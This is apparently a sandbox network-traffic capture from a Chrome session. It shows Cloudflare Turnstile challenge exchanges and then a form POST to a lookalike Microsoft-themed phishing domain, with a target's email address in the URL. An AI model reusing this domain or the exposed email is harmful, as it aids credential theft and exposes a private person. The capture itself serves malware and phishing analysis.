ZOMdpeYhb10q613ecGCfX2gfsiApb2JhqubjYqwksmdpp/OlrLZ3dSczau0tNmwv6Pnp7y/6sHExcHiw77fzcnAxdDv0MbU3dnH973i49jj177b+vME1uX6AQ/wyADw7wfSGuEE6gcc+BLe4RcA7QED4fYUKgkK4xDqLgrrASn+CDAyBDEMNfT7IEEbAfocOygTFCooSxUZOiUaHk4hICYsNSg1FDNPVx0XODFRMlxTXVtFaWhHQmJQanEoQDFU
2025-01-14 14:23:53 UTC	1369	IN	Data Raw: 69 4e 69 33 56 36 6e 70 4b 69 6b 6f 2b 57 74 4b 46 37 6f 6e 32 33 6f 72 7a 4f 79 71 6d 38 6b 59 2b 48 76 73 6d 35 6b 72 62 4e 76 61 2f 4b 30 73 69 72 79 73 76 51 30 73 66 48 74 4d 48 61 6e 62 54 70 74 39 32 2b 34 64 43 37 35 65 7a 73 34 4e 6e 53 32 2b 57 75 37 4c 44 36 7a 67 4c 6a 77 72 33 67 42 67 69 2f 2b 74 4c 6e 36 67 76 4e 38 50 37 6f 2f 4f 58 77 37 50 49 5a 37 68 55 51 30 52 59 4a 47 65 33 78 46 78 63 6a 48 78 4d 41 33 68 4d 42 2b 43 30 45 35 79 66 74 47 78 73 6a 38 67 77 66 4a 54 63 32 4c 7a 72 33 4e 78 33 38 2f 69 34 34 44 45 4d 62 41 42 76 39 52 53 6b 68 53 30 70 4c 47 31 45 38 49 53 49 55 42 7a 46 51 45 77 73 59 47 41 35 5a 4c 53 73 57 45 30 38 35 5a 56 38 35 57 53 4a 6c 52 55 6b 30 51 7a 31 72 4a 6b 68 6e 61 69 31 68 58 33 55 32 59 33 74 46 4e Data Ascii: iNi3V6npKiko+WtKF7on23orzOyqm8kY+Hvsm5krbNva/K0sirysvQ0sfHtMHanbTpt92+4dC75ezs4NnS2+Wu7LD6zgLjwr3gBgi/+tLn6gvN8P7o/OXw7PIZ7hUQ0RYJGe3xFxcjHxMA3hMB+C0E5yftGxsj8gwfJTc2Lzr3Nx38/i44DEMbABv9RSkhS0pLG1E8ISIUBzFQEwsYGA5ZLSsWE085ZV85WSJlRUk0Qz1rJkhnai1hX3U2Y3tFN
2025-01-14 14:23:53 UTC	1369	IN	Data Raw: 79 66 36 53 56 74 70 79 43 71 72 6e 4a 6d 4b 47 47 75 37 71 76 6a 61 57 30 77 59 37 44 74 4c 53 6a 73 63 72 4b 6c 72 69 73 76 70 79 6b 33 63 58 6d 70 4e 47 37 33 71 65 71 78 2b 44 41 79 4d 48 6f 31 61 37 50 36 4c 50 31 79 65 72 6d 36 63 6f 42 34 66 48 4d 77 74 67 44 33 37 38 45 36 50 54 2b 39 38 66 6e 78 2b 58 68 32 73 76 55 30 2b 2f 66 37 66 51 45 31 42 51 4b 39 41 38 59 38 4f 30 6a 33 77 54 7a 47 51 6f 53 2b 78 2f 72 35 67 38 65 4c 76 77 47 36 69 41 66 46 50 45 4b 47 53 62 79 4b 42 6b 5a 43 42 59 76 4c 2f 6f 64 45 53 4d 42 43 55 49 71 53 77 67 73 48 45 46 49 49 52 35 47 4e 69 51 71 53 31 41 78 4d 46 41 74 4d 56 31 67 49 54 46 42 48 46 42 6d 52 43 4a 55 4f 55 63 6a 57 7a 6c 4f 4b 6d 77 2b 4f 79 78 4b 63 31 39 72 4e 44 4e 54 62 31 30 33 56 33 56 72 62 6c Data Ascii: yf6SVtpyCqrnJmKGGu7qvjaW0wY7DtLSjscrKlrisvpyk3cXmpNG73qeqx+DAyMHo1a7P6LP1yerm6coB4fHMwtgD378E6PT+98fnx+Xh2svU0+/f7fQE1BQK9A8Y8O0j3wTzGQoS+x/r5g8eLvwG6iAfFPEKGSbyKBkZCBYvL/odESMBCUIqSwgsHEFIIR5GNiQqS1AxMFAtMV1gITFBHFBmRCJUOUcjWzlOKmw+OyxKc19rNDNTb103V3Vrbl
2025-01-14 14:23:53 UTC	1369	IN	Data Raw: 6f 4c 32 63 74 61 50 41 78 72 32 72 78 62 53 39 72 4d 6d 54 6c 71 2f 4b 30 74 57 30 7a 70 79 72 74 74 53 66 6c 38 48 59 33 74 47 35 33 4d 79 6d 77 2b 44 6d 6f 38 54 6b 36 38 76 50 36 4f 37 35 7a 75 79 34 79 39 50 78 30 50 6e 5a 39 63 44 54 32 66 66 2b 77 74 6a 37 41 38 62 6c 41 75 41 53 37 51 62 30 46 75 34 4a 30 78 62 70 44 42 4d 47 39 78 45 59 39 2f 73 54 34 50 50 39 47 76 6a 62 42 42 7a 6e 36 67 55 69 37 50 73 4d 4a 43 73 65 43 79 6f 4a 36 77 6f 74 39 2b 38 61 4d 68 49 4d 46 6a 51 37 52 68 77 34 42 45 6f 66 50 55 51 6b 4a 30 42 48 44 79 68 46 45 41 38 70 52 78 51 58 4c 30 34 5a 4b 44 52 52 48 42 51 37 56 46 77 30 4e 6c 6b 6b 5a 6b 5a 63 4b 43 41 39 59 43 78 71 52 32 56 72 58 6b 35 6e 63 46 42 55 62 55 31 32 55 6e 4a 69 54 46 74 30 51 49 4a 69 65 45 56 Data Ascii: oL2ctaPAxr2rxbS9rMmTlq/K0tW0zpyrttSfl8HY3tG53Mymw+Dmo8Tk68vP6O75zuy4y9Px0PnZ9cDT2ff+wtj7A8blAuAS7Qb0Fu4J0xbpDBMG9xEY9/sT4PP9GvjbBBzn6gUi7PsMJCseCyoJ6wot9+8aMhIMFjQ7Rhw4BEofPUQkJ0BHDyhFEA8pRxQXL04ZKDRRHBQ7VFw0NlkkZkZcKCA9YCxqR2VrXk5ncFBUbU12UnJiTFt0QIJieEV
2025-01-14 14:23:53 UTC	1369	IN	Data Raw: 72 43 4e 78 73 75 70 6e 35 53 76 6b 38 72 4f 30 37 53 63 6e 4c 65 62 30 74 62 62 76 4a 37 56 35 65 6e 46 71 38 7a 41 78 75 4b 6d 7a 38 33 6c 31 64 37 70 72 73 6e 6d 73 75 32 33 75 74 62 79 2f 4f 44 61 39 72 72 6a 34 66 6e 70 31 2b 6a 39 76 72 2f 59 78 76 48 2b 79 67 62 4b 41 67 4c 58 46 66 66 35 32 39 6a 58 33 64 73 4f 43 67 37 5a 39 51 34 46 47 74 34 49 39 4f 6f 6b 42 53 38 65 4c 67 67 4f 38 75 38 4a 38 53 72 75 4b 67 58 79 48 69 76 36 4d 76 59 63 49 54 62 36 4f 68 45 49 51 43 45 45 4f 6b 6f 36 4b 68 41 4d 4a 52 4a 47 43 31 59 68 44 7a 70 48 45 6b 34 50 45 44 31 65 54 79 31 5a 56 52 63 34 4d 52 39 4b 56 79 70 65 61 7a 6c 6c 59 53 4e 45 55 57 5a 7a 51 57 31 70 64 55 78 46 4d 31 35 72 4f 58 4a 2f 54 58 6c 31 67 56 68 6c 65 6f 64 56 67 58 35 35 59 46 6c 48 Data Ascii: rCNxsupn5Svk8rO07ScnLeb0tbbvJ7V5enFq8zAxuKmz83l1d7prsnmsu23utby/ODa9rrj4fnp1+j9vr/YxvH+ygbKAgLXFff529jX3dsOCg7Z9Q4FGt4I9OokBS8eLggO8u8J8SruKgXyHiv6MvYcITb6OhEIQCEEOko6KhAMJRJGC1YhDzpHEk4PED1eTy1ZVRc4MR9KVypeazllYSNEUWZzQW1pdUxFM15rOXJ/TXl1gVhleodVgX55YFlH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49746	104.18.94.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:54 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/382041869:1736860383:ZqPzmwJyJsbA3MpWp2rpI_b9unVV8KTL-u85NFveN8A/901e4933de02c33d/l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:54 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 14:23:54 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: HOD7jdSGXrbuJ0lZM8V61BU3Ywa2zmPDWG78Q+wF43hbQLUF4bcn11jVIrmxg10xvSQaDdwz96tYycB2q8FX3Q==$BK+tqwwo56JFyBEF0QMylg== Server: cloudflare CF-RAY: 901e495ddccd4246-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:54 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49747	104.18.95.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:02 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/382041869:1736860383:ZqPzmwJyJsbA3MpWp2rpI_b9unVV8KTL-u85NFveN8A/901e4933de02c33d/l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34918 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:02 UTC	16384	OUT	Data Raw: 76 5f 39 30 31 65 34 39 33 33 64 65 30 32 63 33 33 64 3d 55 62 56 35 65 76 41 68 6c 5a 62 4b 62 4b 6a 62 41 54 41 5a 4f 34 73 5a 41 30 4b 65 58 4b 25 32 62 35 56 56 76 33 66 4b 31 35 54 47 62 6d 76 4b 64 35 41 31 46 76 38 56 4b 55 76 4b 76 52 54 6d 30 48 4b 6b 35 41 52 5a 4b 50 6a 70 32 4a 56 68 35 41 68 37 4b 66 70 4b 68 37 61 34 6d 59 74 4b 5a 70 6d 61 77 76 2d 6d 4b 41 72 4b 2d 70 68 4b 48 35 54 46 4b 68 35 73 48 4d 46 4b 5a 70 68 4b 5a 35 73 4f 4b 59 35 69 48 6a 6a 54 4b 4b 52 6c 4b 67 66 4b 4b 37 6a 32 42 4b 69 55 63 4b 4b 53 2d 54 64 59 42 50 54 6c 4b 59 66 55 49 33 2d 30 62 4d 56 4b 2d 50 41 5a 70 24 49 48 2d 37 4b 41 65 61 35 56 35 6c 56 66 2d 49 4b 41 6d 5a 5a 70 54 59 7a 6b 64 37 54 70 76 65 75 6f 61 38 6c 41 55 33 53 57 5a 6f 4e 67 75 64 4e 33 Data Ascii: v_901e4933de02c33d=UbV5evAhlZbKbKjbATAZO4sZA0KeXK%2b5VVv3fK15TGbmvKd5A1Fv8VKUvKvRTm0HKk5ARZKPjp2JVh5Ah7KfpKh7a4mYtKZpmawv-mKArK-phKH5TFKh5sHMFKZphKZ5sOKY5iHjjTKKRlKgfKK7j2BKiUcKKS-TdYBPTlKYfUI3-0bMVK-PAZp$IH-7KAea5V5lVf-IKAmZZpTYzkd7Tpveuoa8lAU3SWZoNgudN3
2025-01-14 14:24:02 UTC	16384	OUT	Data Raw: 35 76 38 4b 58 61 61 4b 6e 32 35 64 64 52 76 6c 6d 62 4b 70 35 45 35 5a 56 33 70 69 65 35 74 4b 56 34 73 54 41 2b 54 37 34 69 46 4b 51 70 54 4b 73 4f 4b 55 4b 67 34 73 6a 4b 70 4b 4f 38 41 38 41 50 4b 61 70 41 4e 4b 6c 4b 41 70 41 4b 41 43 35 4b 4b 76 6a 57 4b 5a 4c 73 35 6d 41 4b 79 50 7a 6a 41 31 77 58 5a 37 38 41 62 4b 2d 4b 6d 34 4b 5a 4b 66 70 76 56 41 5a 35 34 35 4b 63 4d 41 4b 66 70 69 56 41 4f 34 6e 35 37 34 41 56 35 49 35 54 54 4b 4b 4b 57 35 73 62 4b 41 4b 72 70 41 4b 4b 32 4b 59 79 6d 4b 6d 73 4b 58 34 4b 62 4b 64 4b 6f 34 41 6a 4b 6c 4b 6b 54 54 34 6d 57 4b 72 70 73 34 76 34 57 67 4b 73 32 63 76 4b 4d 77 7a 66 63 24 4b 32 56 54 30 4b 74 56 6d 67 6a 50 41 49 76 6f 30 6d 35 4b 68 34 33 65 64 68 4b 79 62 49 34 4b 49 4b 57 77 73 67 6b 51 38 49 4b Data Ascii: 5v8KXaaKn25ddRvlmbKp5E5ZV3pie5tKV4sTA+T74iFKQpTKsOKUKg4sjKpKO8A8APKapANKlKApAKAC5KKvjWKZLs5mAKyPzjA1wXZ78AbK-Km4KZKfpvVAZ545KcMAKfpiVAO4n574AV5I5TTKKKW5sbKAKrpAKK2KYymKmsKX4KbKdKo4AjKlKkTT4mWKrps4v4WgKs2cvKMwzfc$K2VT0KtVmgjPAIvo0m5Kh43edhKybI4KIKWwsgkQ8IK
2025-01-14 14:24:02 UTC	2150	OUT	Data Raw: 68 58 51 4b 65 68 2d 4a 43 62 72 43 39 79 67 73 68 32 35 57 61 47 78 24 66 33 68 49 57 31 44 48 49 55 72 2b 4b 55 45 4b 47 4b 42 37 65 67 76 34 55 49 4f 37 70 41 7a 65 51 41 55 36 65 36 77 49 37 4e 73 33 66 4b 6d 4b 6f 48 4b 36 6f 78 38 33 4d 79 33 52 36 79 33 33 41 38 43 59 70 70 34 41 2d 2d 36 54 43 33 4b 47 62 46 46 52 63 35 79 6f 31 64 73 34 41 7a 4b 56 7a 35 38 69 43 70 73 42 4f 62 4b 4f 68 47 5a 54 5a 41 5a 54 66 46 54 61 4b 44 35 49 34 6d 59 44 47 4b 49 4f 41 62 4b 67 35 55 67 37 33 70 4c 6c 70 49 52 56 41 76 62 66 46 39 54 34 4a 52 6e 6d 51 56 6d 69 35 37 54 45 73 7a 38 6c 74 72 33 32 67 33 4b 58 4b 41 68 43 24 68 75 78 4e 66 6f 4e 75 41 34 4b 41 32 42 33 47 6c 54 4b 51 54 70 62 46 57 55 52 39 34 6d 73 76 79 44 42 76 48 54 37 66 4b 66 6c 6d 39 4e Data Ascii: hXQKeh-JCbrC9ygsh25WaGx$f3hIW1DHIUr+KUEKGKB7egv4UIO7pAzeQAU6e6wI7Ns3fKmKoHK6ox83My3R6y33A8CYpp4A--6TC3KGbFFRc5yo1ds4AzKVz58iCpsBObKOhGZTZAZTfFTaKD5I4mYDGKIOAbKg5Ug73pLlpIRVAvbfF9T4JRnmQVmi57TEsz8ltr32g3KXKAhC$huxNfoNuA4KA2B3GlTKQTpbFWUR94msvyDBvHT7fKflm9N
2025-01-14 14:24:02 UTC	1347	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4848 Connection: close cf-chl-out-s: T+Cp0TKUQpoqMhFk5BnUdGpZkrI8YTzyFmsDSetZzK5ksvGFTxf4a6aDnJvrMIwdcgANPEWEjCEz8krIf3vI0Q0/BPuVWU6VSGOaLavXqEi7GDhIXGvNeRq35KHtFko4Gl3h2RSFrk8rdKVzpOWFR20lywTJcXEGc66IxsD+xUeBXYB5wnBqK7lnaR0MXXPgVLKD1ql9mp6omjdaRxv2ILRSxCUg/MroJXW2IAuc9GxzvYBYYVpF3g0bMVt64TZiaXzwa5F7ROM5OineLoTHoea0nlk1jHtFpeI8C6f7WTWqYKoOzA+LUZb+TIZi9NSq2bkGYjaK8jCDg7GuGYpMmGvPlwan63QNPqA/+Q4MDHVvFXZMaCoQ1YWvfI21sEfQKFeVCeFb5lR4yon3Q0FpRvH81ewla4b7AjTmgaHBoY51oZHaoMFhiGd2rUjOzV7g7hSb17Cse9JtW1OE8HJC+3fyCjnXjWV1wRkv+uwDsqkkWk0o7lGqBS22gCwKLKb4lxqnIRx+3BWhNWYCSGvYw9kIUxMf8/LpSqCK9CmebuZey0WuG11hQqAm6lYMnSsw7KvCfJN8gBSoHThxqP67PRWm824r5uxsQ/6JccBNskgs6nfzSzLiUfkZB8wqnTYYQiJk5AN+T4ZWeu8poinEKfKp9hiBiVbRJkCT4Lo3A2wx+9Wp6SKzwwlMXUwTUFf947zFGNGUJU910XgooTh4YO7E/yK0RYWuYsDORucIuFhRxjF9asDHEFN/D3Fzv34fpiYiR+UmrxFz9LdLf6k/dxj/Gg1H0XgeXgwHUGtYh/teM2V4/DeFWemY6isDkRSoLoktvtfuiCJm0wt6ZkUr4MIDsgmKM3UkdAOblzK0nuLFJ1FYRwO673fKe6HNy5/4FIQpJXXSonrbobzkHzZw6gm6YqmF/tWEBsKmIiGR7t3GgHJqoXTsw5j12JYch4zPH82qSLYYsqFC6/n8sGV/wfpVDsmEbI0FJJsz3hr5XFg=$gvXz9 [TRUNCATED] cf-chl-out: 7eNBOqQ74jxL59R0dV7Y9Exl1KSCD6CyLpojhft94k0DhrYWrgx6Z0s98GbSRlPWX3gzaqVX6pdZzPFuDhtA1lrM0mFYXgEweoO+Z9D2SSI=$Gsq0K8h4nqyScjgXP+RJ5w== Server: cloudflare
2025-01-14 14:24:02 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 39 30 31 65 34 39 39 30 31 39 63 66 65 66 39 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 901e499019cfef9f-EWRalt-svc: h3=":443"; ma=86400
2025-01-14 14:24:02 UTC	1329	IN	Data Raw: 55 47 53 53 55 6e 4f 4a 69 46 68 30 65 49 6c 6e 63 6e 5a 65 6c 35 31 79 64 6c 31 37 6d 33 61 6a 66 59 69 72 65 59 43 63 69 71 75 68 67 5a 4e 76 6c 4b 32 57 69 4c 69 78 75 72 47 64 77 4d 43 35 6c 5a 37 45 76 5a 76 4a 78 4c 57 66 6d 4c 6a 51 30 4d 66 4a 6e 39 43 71 73 61 33 57 6d 4c 57 6c 6b 34 2b 63 71 72 4c 54 6d 36 2f 52 76 72 71 37 74 4c 47 36 77 4b 6e 6e 37 4c 75 69 36 4f 4c 48 35 75 7a 71 78 2b 62 74 38 38 72 46 31 4f 62 66 37 76 6a 59 42 66 58 37 2f 74 48 35 32 74 7a 6d 39 41 6a 75 32 39 44 4e 2f 75 63 4a 35 75 77 51 42 78 45 4c 2b 77 77 55 2b 4f 6b 4a 48 42 48 76 32 67 66 77 38 69 41 69 4b 41 63 62 46 78 73 42 2f 6a 41 45 4e 51 63 41 46 53 73 36 4a 41 4d 64 4a 53 73 56 50 6a 51 4f 41 78 38 78 2f 41 45 6e 42 42 4d 57 4a 43 4d 73 51 6b 63 78 43 51 34 Data Ascii: UGSSUnOJiFh0eIlncnZel51ydl17m3ajfYireYCciquhgZNvlK2WiLixurGdwMC5lZ7EvZvJxLWfmLjQ0MfJn9Cqsa3WmLWlk4+cqrLTm6/Rvrq7tLG6wKnn7Lui6OLH5uzqx+bt88rF1Obf7vjYBfX7/tH52tzm9Aju29DN/ucJ5uwQBxEL+wwU+OkJHBHv2gfw8iAiKAcbFxsB/jAENQcAFSs6JAMdJSsVPjQOAx8x/AEnBBMWJCMsQkcxCQ4
2025-01-14 14:24:02 UTC	1369	IN	Data Raw: 6b 59 31 62 6d 78 77 65 47 39 4d 64 6b 35 36 57 57 52 6d 64 46 65 4f 58 31 68 5a 6a 33 4a 66 59 6c 32 42 56 49 57 4f 6c 47 2b 4b 5a 34 79 65 62 32 75 43 6c 48 53 56 67 70 31 79 67 36 6d 72 64 61 4a 2b 6e 48 69 77 66 6d 6d 47 66 34 4b 30 69 5a 46 73 67 34 2b 49 6c 49 69 49 72 33 32 2f 73 5a 2b 61 76 35 69 55 6b 72 53 65 77 35 71 67 6e 61 6d 69 6b 4b 57 4d 6f 38 75 76 32 71 71 30 70 36 69 36 6e 37 4f 36 6e 61 47 75 76 37 4c 6e 74 4c 48 43 77 64 62 72 76 73 7a 45 33 36 36 7a 77 36 2f 74 39 38 6d 30 77 75 72 4c 38 64 37 54 79 76 62 34 77 2f 44 31 2f 4e 7a 31 77 38 58 4c 2b 63 6a 57 35 75 45 48 35 67 37 66 46 64 34 43 42 75 58 6d 36 50 50 6d 47 66 66 33 36 2b 6f 4e 37 53 58 64 46 2f 77 63 39 68 34 5a 4c 75 62 33 2b 69 41 49 2b 77 67 41 4b 52 67 4a 46 42 66 78 Data Ascii: kY1bmxweG9Mdk56WWRmdFeOX1hZj3JfYl2BVIWOlG+KZ4yeb2uClHSVgp1yg6mrdaJ+nHiwfmmGf4K0iZFsg4+IlIiIr32/sZ+av5iUkrSew5qgnamikKWMo8uv2qq0p6i6n7O6naGuv7LntLHCwdbrvszE366zw6/t98m0wurL8d7Tyvb4w/D1/Nz1w8XL+cjW5uEH5g7fFd4CBuXm6PPmGff36+oN7SXdF/wc9h4ZLub3+iAI+wgAKRgJFBfx
2025-01-14 14:24:02 UTC	1369	IN	Data Raw: 52 6a 64 58 78 5a 59 56 5a 45 62 48 74 4c 67 49 68 6c 53 6d 56 50 6c 59 39 49 5a 6e 68 6f 69 49 31 59 63 35 61 62 57 33 2b 41 57 5a 5a 2b 65 6e 36 6a 63 35 79 58 72 4b 32 73 72 59 4e 6e 65 6f 4f 64 67 36 47 74 70 61 31 36 75 70 31 32 74 58 2b 70 73 61 4f 39 70 48 36 39 76 4b 6d 43 68 73 4b 32 6d 34 6d 71 75 71 2b 63 71 63 61 4c 30 36 79 31 6b 4e 61 36 72 4c 65 79 33 62 54 65 71 73 2f 4e 73 37 76 63 77 74 37 6c 32 38 79 37 76 2b 7a 61 76 36 36 70 7a 4f 6d 6f 31 4c 4b 78 37 65 75 37 31 72 58 33 73 76 37 61 34 72 33 51 30 2b 58 69 35 75 76 36 35 63 76 4a 79 63 37 62 32 78 4c 31 34 2b 66 4e 2b 4e 49 53 32 51 55 4e 43 52 66 76 34 52 7a 37 44 75 50 78 47 67 62 6a 4a 69 4d 44 48 67 63 65 42 67 77 49 4e 51 45 6c 2f 6a 51 6c 4b 67 2f 7a 42 79 77 62 47 69 49 79 45 Data Ascii: RjdXxZYVZEbHtLgIhlSmVPlY9IZnhoiI1Yc5abW3+AWZZ+en6jc5yXrK2srYNneoOdg6Gtpa16up12tX+psaO9pH69vKmChsK2m4mquq+cqcaL06y1kNa6rLey3bTeqs/Ns7vcwt7l28y7v+zav66pzOmo1LKx7eu71rX3sv7a4r3Q0+Xi5uv65cvJyc7b2xL14+fN+NIS2QUNCRfv4Rz7DuPxGgbjJiMDHgceBgwINQEl/jQlKg/zBywbGiIyE
2025-01-14 14:24:02 UTC	781	IN	Data Raw: 4a 57 6c 2b 43 54 58 31 36 67 49 79 4b 5a 32 52 6d 59 32 43 61 59 6f 5a 77 6a 6d 70 74 63 35 42 32 6e 6d 35 74 57 47 39 2f 68 48 4b 70 64 33 65 6b 69 49 4f 66 6a 72 4b 46 67 48 47 70 67 6f 47 6f 65 49 75 57 6d 6e 47 4c 69 6e 6d 64 6b 4d 53 57 78 72 61 56 6c 70 61 58 75 36 72 48 6e 61 71 75 76 4a 79 50 6b 64 48 45 31 35 47 79 76 63 36 71 74 4c 53 73 34 4e 47 32 72 63 61 5a 31 4e 65 6c 33 62 2b 38 37 4d 43 36 7a 4c 72 46 78 36 79 2b 79 65 62 44 36 50 6a 70 78 38 38 41 7a 77 48 4b 38 66 44 31 2b 50 6e 62 34 38 48 34 33 65 59 46 2b 2f 30 52 32 39 50 64 39 4e 48 58 42 76 48 52 43 50 49 63 2b 74 48 30 49 2f 37 75 37 78 59 6e 37 2f 62 30 42 79 45 41 2b 66 6f 67 41 2f 72 74 44 2f 34 4f 4a 51 67 4e 46 54 63 45 44 54 34 48 46 42 56 42 50 54 4d 5a 4e 42 63 35 49 45 Data Ascii: JWl+CTX16gIyKZ2RmY2CaYoZwjmptc5B2nm5tWG9/hHKpd3ekiIOfjrKFgHGpgoGoeIuWmnGLinmdkMSWxraVlpaXu6rHnaquvJyPkdHE15Gyvc6qtLSs4NG2rcaZ1Nel3b+87MC6zLrFx6y+yebD6Pjpx88AzwHK8fD1+Pnb48H43eYF+/0R29Pd9NHXBvHRCPIc+tH0I/7u7xYn7/b0ByEA+fogA/rtD/4OJQgNFTcEDT4HFBVBPTMZNBc5IE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49748	104.18.94.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:03 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/382041869:1736860383:ZqPzmwJyJsbA3MpWp2rpI_b9unVV8KTL-u85NFveN8A/901e4933de02c33d/l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:03 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 14:24:03 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: iFY/l3VSWWUu01JSnDYd1jzJrvXKSVsMcg7Ld0Zxbnfe2rgjLeMRGM1eDTA55k4uD98jE22N75AVjBLaJJYv+Q==$ah6hwCE0cT1IvGWhEa2PKA== Server: cloudflare CF-RAY: 901e4994feb10f95-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:24:03 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49753	104.21.112.1	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:03 UTC	1093	OUT	POST /4HDRF/?e=marsha.rowland@cherokeebrick.com HTTP/1.1 Host: automtionmscroftsecurityactivation-authenic.appfilevault.com Connection: keep-alive Content-Length: 966 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=60bgdjfe05l806n0sv6kklmv6m
